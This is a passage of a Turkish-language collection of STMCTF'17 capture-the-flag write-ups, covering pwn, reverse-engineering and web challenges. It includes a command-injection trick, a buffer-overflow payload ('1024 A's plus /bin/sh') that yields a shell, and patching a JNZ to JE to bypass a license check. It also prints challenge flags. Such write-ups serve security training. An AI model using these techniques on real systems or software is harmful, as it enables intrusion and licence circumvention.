komutu ile flag ekrana bastirilabilmektedir. Boylelikle calistirilan komut ```“PING 127.0.0.1”+(cat flag komutunun ciktisi yani flag degeri)``` olacaktir. STDERR ekrana bastirildigi icin ve ```PING 127.0.0.1STMCTF{...}``` komutu hata dondureceginden dolayi flag ekrana bastirilacaktir. 39 | 40 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/PWINGME/p4.png) 41 | 42 | -------------------------------------------------------------------------------- /PWN/PWINGME/p1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p1.png -------------------------------------------------------------------------------- /PWN/PWINGME/p2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p2.png -------------------------------------------------------------------------------- /PWN/PWINGME/p3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p3.png -------------------------------------------------------------------------------- /PWN/PWINGME/p4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p4.png -------------------------------------------------------------------------------- /PWN/PWINGME/pwingme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/pwingme -------------------------------------------------------------------------------- /PWN/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /PWN/Retro/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Retro 3 | 4 | ## Soru Metni: 5 | 6 | ```nc 192.168.$MASANO.5 8888``` 7 | 8 | ## On bilgi: 9 | Kendi ortaminizda dosyayi binary dosyasini 8888 portundan servis etmek icin asagidaki komutu kullanabilirsiniz. Ancak unutmayin ki, sorunun calistigi isletim sistemi ile sizin isletim sisteminiz farkli oldugu icin, yarisma platformu tam olarak simule edilemeyecektir. Flag /home/ctf/flag dosyasinda yer almaktadir. 10 | socat TCP-LISTEN:8888,reuseaddr,fork EXEC:"./retro" 11 | 12 | ## Çözüm: 13 | 14 | 1. Bu soruda brute force saldirilarinin engellenmesi icin mesajlar arasina sleep konulmustur ve kullanicidan bu sure sonunda bir parola istenmektedir. Yanlis parola girildigi taktirde /bin/ls komutunun calistigi belirtilmektedir. 15 | 16 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/Retro/r1.png) 17 | 18 | 2. Bellekte bir sekilde tasirma yaparak system(/bin/ls); komutu calistirilmak istenilen komut ile degistirilebilir. Muhtemel buffer boyutlarini (512, 1024, 2048 vb.) tasirmaya yonelik payload gonderdigimiz zaman (ornegin 1024+2 byte) tasirma oldugunu fark ediyoruz. 19 | 20 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/Retro/r2.png) 21 | 22 | 3. Bu durumda, hedef sisteme “1024”*A+”/bin/sh” seklinde bir payload gonderdigimiz zaman shell alabiliyoruz. 23 | 24 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/PWN/Retro/r3.png) 25 | 26 | 27 | -------------------------------------------------------------------------------- /PWN/Retro/r1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r1.png -------------------------------------------------------------------------------- /PWN/Retro/r2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r2.png -------------------------------------------------------------------------------- /PWN/Retro/r3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r3.png -------------------------------------------------------------------------------- /PWN/Retro/retro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/retro -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # STMCTF'17 Writeups 2 | 26 Ekim 2017 Perşembe günü gerçekleştirilen STMCTF'17 yarışmasında sorulan soruların çözümlerini hazırladık. 3 | 4 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/stmctf17.png) 5 | -------------------------------------------------------------------------------- /REVERSE/BeniCalistirma/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Beni Çalıştırma 2 | 3 | ## Soru Metni: 4 | "Uçarım Kaçarım" firması çalışanları firmanın giriş kapısında bir USB bellek bulmuş. Firmanın sistem yöneticisi USB bellek içerisinde "beniCalistirma.exe" isimli bir dosya oldugunu tespit etmiş, bazı analizler yapmış ama hiçbir sonuç alamamış. Bu sabah da STM Zararlı Yazılım Analizi Laboratuvarı zLab'a analiz edilmesi icin exe dosyası getirildi. Dostum; analizi yapalım ama hepimiz şu anda CTF yarışmasında görevliyiz. Bize yardimci olur musunuz? Dosyayı bizim için analiz ediver. 5 | 6 | ## Çözüm: 7 | 1. ac78fc90b6fb7e17ec2d35e09e7b008d.zip dosyasi icerisinden beniCalistirma.exe dosyasi cikiyor. Dosya, IDA Pro veya IDA Demo ile açıldığında assembly kodlarının anlamsız olduğu görülüyor. 8 | 9 | 2. Yarisma boyunca verilen ipuclari ve sorunun adindan da anlisilacagi gibi exe dosyasi calisabilir bir dosya degil. 10 | 11 | 3. IDA Pro veya IDA Demo ile soz konusu dosya acildiginda Graph Overview ekranında dogrudan flag gözüküyor. 12 | 13 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/BeniCalistirma/beniCalistirma_0.png) 14 | 15 | 3. Graph Overview ekranında STMCTF{_Hold_the_DOOR__} flag okunabiliyor. 16 | 17 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/BeniCalistirma/beniCalistirma_1.png) 18 | 19 | 4. DEF CON 23, "Chris Domas - Repsych: Psychological Warfare in Reverse Engineering" sunumunu izleyerek keyifli dakikalar gecirebilirsiniz. 20 | 21 | -------------------------------------------------------------------------------- /REVERSE/BeniCalistirma/ac78fc90b6fb7e17ec2d35e09e7b008d.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/ac78fc90b6fb7e17ec2d35e09e7b008d.zip -------------------------------------------------------------------------------- /REVERSE/BeniCalistirma/beniCalistirma_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/beniCalistirma_0.png -------------------------------------------------------------------------------- /REVERSE/BeniCalistirma/beniCalistirma_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/beniCalistirma_1.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/32ada5b75430c524df16bf3b1428e65e.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/32ada5b75430c524df16bf3b1428e65e.zip -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Faceless Flag 4 | 5 | ## Soru Metni: 6 | Faceless flag 300 puanını katletmeden gerçek yüzünü bulmalısın. 7 | 8 | 32ada5b75430c524df16bf3b1428e65e.zip 9 | 10 | ## Çözüm: 11 | 12 | 1. asm uzantılı dosyayı indirdikten sonra 32 bit ve nasm syntaxı ile yazıldığı anlaşılır ve buna göre assemble ve link işlemleri resimdeki gibi yapılır.Assemble işlemi yaparken daha rahat debug edebilmek için -F parametresi ile debug bilgisi formatını belirliyoruz. 13 | 14 | ``` 15 | sudo nasm -f elf32 -F dwarf -g xor.asm 16 | ld -m elf_i386 -o xor xor.o 17 | ``` 18 | 2. gdb ile programı debug etmeye başlıyoruz. 19 | ``` 20 | gdb xor 21 | ``` 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa4.png) 23 | 24 | 3. Kodun akış mantığına baktığımız zaman _start’ın başında stack’e data pushlayıp 7 sefer dönen ilk loop’un (loop) mov ecx,[esp+28-(7-ecx)*4] satırında bu pushlanan dataları geri alıp bswap ve not(Reverse Byte Order) işlemine taabi tutarak [R_B_Order] değişkenine atıyor. 25 | 26 | 4. ilk loopun sonuna breakpoint koyup [R_B_Order] değişkeninin sonucuna bakarsak; STMCTF{but_not_real_flag!!!} olarak atandığını görüyor olacağız. 27 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa5.png) 28 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa6.png) 29 | 30 | 5. ikinci loopa (loop2) baktığımız zaman msg(STMCTF{Yes_i_am_the_flag!!!}) ve R_B_Order(STMCTF{but_not_real_flag!!!}) değşkenlerini alıp xorlayıp GCC__Version değişkene atadağını görüyoruz. 31 | 32 | 6. üçüncü loopda (loop3) stack’e data pushlayıp 7 sefer dönen loopun mov ecx,[esp+28-(7-ecx)*4] satırında bu pushlanan dataları geri alıp bswap ve not(Reverse Byte Order) işlemine taabi tutarak [NASM__Version] değişkenine atıyor. 33 | call printf satırına breakpoint atıp NASM__Version değerine baktığımız zaman; 34 | 35 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa7.png) 36 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa8.png) 37 | 38 | 7. call printf satırında loop4’ün altında printf kısmına bakarsak bir sytemcall çağrıldığını görüyoruz.Burda eax’e atadığı değere baktığımıza(1) çağırdığı systemcall’un print yerine exit systemcall’u olduğu anlayıp programımızın düzgün şekilde devam etmesi için call printf kısmını etkisiz hale getirmemiz gerekiyor.(İsterseniz gdb’de nop işlemi ile değiştirebilir , instruction pointer’ı call printf’in altına gösterebilir isterseniz assembly kodunu değiştirip tekrardan assemble ve link edebilirsiniz.) Ben burda instruction pointerı editleyerek devam ettim. 39 | 40 | 8. loop4'e baktığımız zaman loop2’ye çok benzdeğini göreceksiniz fakat burda kodun akış şemasında bir bozukluk olduğunu fark etmek gerek. 41 | 42 | loop2'de loopun başında 43 | ``` 44 | mov ecx,[msg+ebx] 45 | mov edx,[R_B_ORDER+ebx] 46 | ``` 47 | 48 | değişkenlerden dataları alıp ecx ve edx attığını sonrasında ikisini xorladığını görüyoruz. 49 | 50 | loop4'de ise: 51 | ``` 52 | mov ecx,[GCC__Version+eax] 53 | mov ebx,[GDBObj__Version+eax] 54 | ``` 55 | 56 | değişkenlerden dataları alıp ecx ve ebx attığını sonrasında ise ecx ve edx xorladığını göreceksiniz fakat biz edx’e hiç değer atamıyoruz. 57 | 58 | 59 | Burdan anlaşılacağı üzere 60 | 61 | mov ebx,[GDBObj__Version+eax] satırındaki ebx’i edx ile değiştirmemiz gerek. 62 | 63 | 64 | Kodun akışındaki bir diğer bozukluk ise loop2’de xor işlemine tabi tutulan değer bir önceki loopdan(loop) elde edilen değer(R_B_ORDER). Fakat loop4 ‘de GDBObj__Version kullanılıyor.GDBObj__Version değişkenini decode ettiğiniz zaman “nerderhardergeekerstronger” şeklinde bir string göreceksiniz xorlarda kullanılan karakter sayısının tutmaması NASM__Version değişkeninin anlamlı olup kullanılmaması ve loop2-loop4 arasındaki benzerliğin yakalanmasından bu değişkenin yanlış olduğuna karar vermenizi bekledik. 65 | 66 | mov ebx,[GDBObj__Version+eax] satırındaki GDBObj__Version değişkeninin 67 | NASM__Version değişkeni ile değiştirmemiz gerek. 68 | 69 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa1.png) 70 | 71 | 8. adımın sonunda “mov ebx,[GDBObj__Version+eax]” satırının son hali 72 | mov edx,[NASM__Version+eax] oluyor. 73 | 74 | 9. Bir onceki adımda bulduğumuz hatalı satırı isterseniz assembly kodunda tekrar yazıp derleyip ve link edip çalıştırabilirsiniz isterseniz de direk debug işlemi sırasında instruction olarak editleyebilirsiniz. 75 | (Ben instruction editlemeyi gösteriyor olacağım.) 76 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa2.png) 77 | 78 | 0x0804814e ve 0x0804814+4 adresleri 79 | mov ebx,[GDBObj__Version+eax] instructionı ve datanın olduğu adreslerdir. 80 | biz bu adresleri mov edx,[NASM__Version+eax] şeklinde değiştirmiş olduk. 81 | 82 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa9.png) 83 | 84 | 10. Değiştirdikten sonra loop4’ün sonuna breakpoint koyup stack’e bakarsanız; 85 | 86 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/FacelessFlag/fa10.png) 87 | 88 | STMCTF{Flag_is_Eldad_Eilam} olan doğru flagi buldunuz demektir. 89 | md5 değerini alarak submit ediyoruz. 90 | 91 | -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa1.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa10.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa2.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa3.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa4.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa5.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa6.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa7.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa8.png -------------------------------------------------------------------------------- /REVERSE/FacelessFlag/fa9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa9.png -------------------------------------------------------------------------------- /REVERSE/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /REVERSE/Sss/7605274185f215e181254aeab3837cb4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/7605274185f215e181254aeab3837cb4.zip -------------------------------------------------------------------------------- /REVERSE/Sss/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Şşş 3 | 4 | ## Soru Metni: 5 | Aslında çok kolay olan soruyu birazcık zorlaştırdık. 6 | 7605274185f215e181254aeab3837cb4.zip 7 | 8 | ## Çözüm: 9 | 10 | 1. Yarışmacı strings komutuyla resme baktığında flagin sadece bir parçasını görebiliyor. 11 | 12 | ```strings Şşş.jpg``` 13 | 14 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/Sss/sss1.png) 15 | 16 | 2. Unicode karakterler olduğu için flagi tam olarak görmesi için encodingi ayarlaması lazım. 17 | (s = single-7-bit-byte characters (ASCII, ISO 8859, etc., default), S = single-8-bit-byte characters) 18 | 19 | ```strings -e S Şşş.jpg``` 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/Sss/sss2.png) 22 | 23 | FLAG = STMCTF{Ş3KİL_Y4pm4K_İÇİn_N3_K4Dar_uĞr4ştığımı_GöRÜy0rsUn_DEğİl_mİ?} 24 | -------------------------------------------------------------------------------- /REVERSE/Sss/sss1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/sss1.png -------------------------------------------------------------------------------- /REVERSE/Sss/sss2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/sss2.png -------------------------------------------------------------------------------- /REVERSE/cProjem/82b5f85851c228a1882ea18d22f2eb66.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/cProjem/82b5f85851c228a1882ea18d22f2eb66.zip -------------------------------------------------------------------------------- /REVERSE/cProjem/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: cProjem 2 | 3 | ## Soru Metni: 4 | Brian Kernighan ve Dennis Ritchie'nin kitabini kurcalarken Bitwise Operators kısmını görünce gizli mesajlarımı C kodlarımın içerisinde saklayabileceğime o kadar emindim ki, kod yazdım, derledim ve şifrelemeye bile ihtiyacım yok. Sakladığım FLAG'ı bulabiliyorsan bul bakalım. 5 | 6 | ## Çözüm: 7 | 1. 82b5f85851c228a1882ea18d22f2eb66.zip dosyasi icerisinden cProjem isimli dosya cikmaktadir. 64 bit ve Linux ELF dosyasi olmasi isleri biraz zorlastiriyor. 8 | 9 | 2. 400B93 adresinde XOR ile ilgili kısmın keşfedilmesi ilk adım. 10 | 11 | 3. Daha sonra 34 karakterli {'_','W','Z','I','Q','[','|','g','f','a','a','s','w','t','^','+','D','N','g','n','g','c','H','k','j','t','u','n','Y','I','S','L','@','w'} degerlerin XOR'landığının bulunması ikinci adım oluyor. 12 | 13 | 4. İki farklı XOR amacli kullanilan liste var. (Degerler decimal) 14 |
{12,2,23,9 ,5,6 ,7 ,8 ,9 ,1 ,20,12,19,14,1 ,16,17,16,1 ,2 ,6 ,12,23 ,24,5 ,16,7,28,6,30,31,24,7,9} ve 15 |
{34,3,2 ,10,3,29,28,20,23,15,10,29,11,21,21,19,18,17,13,2 ,13,4 ,21,15,10,19,8,27,6,15,24,13,8,10}. 16 |
Bunlarin bulunmasi üçüncü adım. 17 | 18 | 5. Flag'in olusturulmasi icin sira ile iki farkli listenin kullanildigi anlasilmaktadir. CTF esnasinda asagidaki c kodu ipucu olarak da paylasilmistir. 19 |
for(z=0;z<34;z++){if((z%2)!=0){zz=(ks[z]^mask2[z]);}else{zz=(ks[z]^mask1[z]);} 20 |
mask1[34] = {12,2,23,9 ,5,6 ,7 ,8 ,9 ,1 ,20,12,19,14,1 ,16,17,16,1 ,2 ,6 ,12,23 ,24,5 ,16,7,28,6,30,31,24,7,9}; 21 |
mask2[34] = {34,3,2 ,10,3,29,28,20,23,15,10,29,11,21,21,19,18,17,13,2 ,13,4 ,21,15,10,19,8,27,6,15,24,13,8,10}; 22 |
ks[34] = {'_','W','Z','I','Q','[','|','g','f','a','a','s','w','t','^','+','D','N','g','n','g','c','H','k','j','t','u','n','Y','I','S','L','@','w'}; 23 | 24 | 6. Eldeki ks listesini sira ile mask1 ve mask2 ile XOR'lamak bizi sonuca goturecektir. 25 |
_ (95) XOR (12) = S (83) 26 |
W (87) XOR (3) = T (84) 27 |
Z (90) XOR (23) = M (77) 28 |
... 29 |

30 | Iki listenin birlestirilerek hazirlanan PYTHON kodu ve flag asagidaki sekildedir. (Degerler HEX olarak yazilmistir.) 31 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/cProjem/cProjem.png) 32 | 33 | -------------------------------------------------------------------------------- /REVERSE/cProjem/cProjem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/cProjem/cProjem.png -------------------------------------------------------------------------------- /REVERSE/crackMe/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Crack Me 2 | 3 | ## Soru Metni: 4 | Lisans anahtarımı kaybettim, hükümsüzdür. Artık bu ürüne destek de verilmiyor. Satın aldığım firmayı telefonla aradım, yazılım firması emlakçılık yapmaya karar vermiş. Şu programın lisans sorgusu bölümünü geçebilmem için bi el atıver... 5 | 6 | ## Çözüm: 7 | 1. b756d6413e4bbcd7ba46f210e345cad2.zip dosyasi icerisinden crackme.exe dosyasi cikiyor. 8 | 9 | 2. Dosya calistirildiginda bizden bir lisans anahtari isteniyor. 10 | 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/crackMe/crackMe0.png) 12 | 13 | 3. 00402985 adresinde kurulumun baslamasi ile ilgili text bilgilerini goruluyor. 0040297F adresindeki "JNZ 402AD7" opcodu dogru anahtar girilmez ise kuruluma baslanmasini engelledigi anlasiliyor. 14 | 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/crackMe/crackMe1.png) 16 | 17 | 4. 0040297F adresindeki "JNZ 402AD7" opcodu "JE 402AD7" olarak değiştirmek yeterli oluyor. 18 | 19 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/crackMe/crackMe3.png) 20 | 21 | 5. Programi tekrar calistirip rastgele bir anahtar girmemiz durumunda flag karsimiza cikiyor. 22 | 23 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/REVERSE/crackMe/crackMe4.png) 24 | 25 | 6. STMCTF{JNE_JE_NOP_NE_KADAR_kolay_CRACK_oldu.} ulasmak bu kadar kolay :p 26 | -------------------------------------------------------------------------------- /REVERSE/crackMe/b756d6413e4bbcd7ba46f210e345cad2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/b756d6413e4bbcd7ba46f210e345cad2.zip -------------------------------------------------------------------------------- /REVERSE/crackMe/crackMe0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe0.png -------------------------------------------------------------------------------- /REVERSE/crackMe/crackMe1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe1.png -------------------------------------------------------------------------------- /REVERSE/crackMe/crackMe2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe2.png -------------------------------------------------------------------------------- /REVERSE/crackMe/crackMe3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe3.png -------------------------------------------------------------------------------- /REVERSE/crackMe/crackMe4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe4.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: HackOpssVol5465 4 | 5 | ## Soru Metni: 6 | 7 | Teknoloji firmasının web developer'ı prod uygulama üzerinde geliştirmeler yapmaya başlamış ve mesai bitimine doğru elektriğin kesilmesi ile birlikte çalışmanın diğer kısmını ertesi güne ertelemişlerdir. 8 | 9 | İki hacker bu firmanın uygulama geliştiricisinin yaptığı bir hata nedeni ile şirketin ağına yetkisiz erişim sağlamışlardır. Bunu fark eden IT güvenlik birimi ağ iz kayıtlarından durumu detaylı incelemeye başladılar. Onlara yardımcı olabilir misin ? 10 | 11 | http://192.168.MASANO.5:9999 12 | 13 | ## Çözüm: 14 | 15 | 1. Soruda verilen web sayfasına girdiğimizde “config not found” hatası alınmaktaydı. 16 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa1.png) 17 | 18 | 2. Soru açıldıkdan 5 dakika sonra developer’ın vi kullandığı ipucu olarak verildikten sonra aşağıdaki adrese gitmemiz gerekiyordu. Sebebi ise vi aracının recovery özelliği sayesinde swp dosyasına ulaşabilir olması. Kaynak kodunu görüntülediğimizde pcapFile dosyası göze çarpıyordu. 19 | 20 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa2.png) 21 | 22 | 3. Dosyayi ilgili adresten indiriyoruz. 23 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa3.png) 24 | 25 | 4. Pcap dosyasını incelemeye başladıktan sonra 2 adet dosyayının sunucuya yüklendiğini görmekteyiz. 26 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa4.png) 27 | 28 | 5. İlk dosyamız “k01” adında rar formatıyla yüklendiğini görmekteyiz. 29 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa5.png) 30 | 31 | 6. Dosyamızı Raw formatta görütüledikten sonra aşağıdaki ekran görüntüsündeki gibi kayediyoruz. 32 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa6.png) 33 | 34 | 7. Dosyayı açmaya çalıştığımızda sıkıştırılmış dosyanın parolası olduğunu görüyoruz. 35 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa7.png) 36 | 37 | 8. İşe yarar ipucu bulmak için 2. dosyamıza yöneliyoruz. 38 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa8.png) 39 | 40 | 9. 2. dosya bir ses dosyasıydı. 41 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa9.png) 42 | 43 | 10. Dosyamızı Raw formatta görüntüledikten sonra mp3 olarak kaydediyoruz. 44 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa10.png) 45 | 46 | 11. Ses dosyasını dinlediğimizde bize “Parola : 583406” olduğunu söylüyordu. 47 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa11.png) 48 | 49 | 12. Word dosyamızı açtığımızda “/k-o-a/stmAdmin.php?flag=” adresine gitmemiz bekleniyordu. 50 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa12.png) 51 | 52 | 13. Adrese erişmeye ve flag parametresine bişeyler yazmaya çalıştığımızda aşağıdaki ekran görüntüsündeki web sayfası aşağıdaki gibi gif ile geliyordu. 53 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa13.png) 54 | 55 | 14. Bu soruyla alakalı 5 er dakika arayla 2 adet ipucu açıldı. İlk ipucunda pcap dosyasında 2 hackerın konuşmasının olduğundan bahsediyordu.Strings aracı ile “Hacker” olarak greplediğimizde encode çeşitleriyle konuşmaları görebiliyorduk. Burada fark etmemiz gereken, konuşma “Hacker1 Hacker2” olarak giderken son 2 satırda “Hacker2 Hacker2” olarak gitmişti. 2. ipucunda ise “grep’i hack edin” deniyordu. Grep hack olarak değiştirdiğimizde “Hack ers1” konuşmasında sezar algoritması ile encode edilmiş bir cümle vardı. 56 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa14.png) 57 | 58 | 15. Sezar algoritmasını 17 harf ileriye kaydırdığımızda aşağıdaki ipucu karşımıza geliyordu. 59 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa15.png) 60 | 61 | 16. Sezarda çıkan “EDPXT===” base32 yaptığımızda herhangi bir sonuç dönmeyecekti. Satırda gördüğümüz şekilde Base32 decode edildiğinde artık uygulamanın paneline “k0a” olarak giriş yapabilirdik. 62 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa16.png) 63 | 64 | 17. Flag parametresine “k0a” yazdığımızda flagi yakalayabilirdik. 65 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/HackOpssVol5465/koa17.png) 66 | -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa1.png -------------------------------------------------------------------------------- 